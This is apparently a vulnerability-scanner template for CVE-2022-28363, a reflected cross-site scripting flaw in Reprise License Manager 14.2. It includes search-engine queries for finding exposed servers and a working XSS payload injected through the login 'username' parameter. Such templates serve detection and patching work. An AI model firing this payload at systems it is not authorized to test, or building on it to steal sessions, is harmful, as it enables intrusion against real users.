id: CVE-2022-28363

info:
  name: Reprise License Manager 14.2 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    Reprise License Manager 14.2 contains a reflected cross-site scripting vulnerability in the /goform/login_process 'username' parameter via GET, whereby no authentication is required.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Reprise License Manager or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.reprisesoftware.com/products/software-license-management.php
    - https://github.com/advisories/GHSA-rpvc-qgrm-r54f
    - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28363
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28363
    cwe-id: CWE-79
    epss-score: 0.0492
    epss-percentile: 0.91249
    cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: reprisesoftware
    product: reprise_license_manager
    shodan-query:
      - http.html:"reprise license"
      - http.html:"reprise license manager"
    fofa-query:
      - body="reprise license manager"
      - body="reprise license"
    google-query: inurl:"/goforms/menu"
  tags: cve,cve2022,xss,rlm,packetstorm,reprisesoftware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - 'Login Failed'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402207abe51922e1edf9b02f9d9cb2f1153f3907dbe0a5e92f55e760c3d5b59232c86022077984bf9a8c585ba3c567b1fc90d3b71d1be6ff233fbb3f5685c6f282c78bd30:922c64590222798bb761d5b6d8e72950